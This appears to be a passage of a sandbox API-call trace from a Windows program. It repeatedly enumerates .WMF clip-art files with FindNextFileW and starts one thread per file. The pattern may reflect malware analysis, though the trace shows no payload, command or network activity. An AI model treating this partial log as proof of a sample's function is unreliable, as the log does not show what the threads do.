	[0241.393] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1
	[0241.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d64
	[0241.394] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.395] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1
	[0241.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d68
	[0241.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.400] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1
	[0241.400] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d6c
	[0241.402] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.403] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1
	[0241.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d70
	[0241.404] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.405] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1
	[0241.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d74
	[0241.407] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.408] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1
	[0241.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d78
	[0241.410] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.411] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1
	[0241.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d7c
	[0241.413] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.414] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1
	[0241.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d80
	[0241.415] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.416] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1
	[0241.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d84
	[0241.418] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.418] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1
	[0241.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d88
	[0241.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.474] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1
	[0241.474] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8c
	[0241.476] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.477] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1
	[0241.477] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d90
	[0241.479] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.480] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1
	[0241.480] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d94
	[0241.483] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.484] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1
	[0241.484] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d98
	[0241.486] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.486] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1
	[0241.486] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d9c
	[0241.488] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.489] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1
	[0241.489] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da0
	[0241.491] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.491] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1
	[0241.491] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da4
	[0241.493] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.494] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1
	[0241.494] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da8
	[0241.496] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.497] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1
	[0241.497] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dac
	[0241.498] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.499] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1
	[0241.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db0
	[0241.501] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.502] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1
	[0241.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db4
	[0241.505] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.505] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1
	[0241.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db8
	[0241.547] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.548] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1
	[0241.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dbc
	[0241.550] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.551] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1
	[0241.551] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc0
	[0241.553] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.554] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1
	[0241.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc4
	[0241.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.557] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1
	[0241.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc8
	[0241.559] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.560] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1
	[0241.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dcc
	[0241.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
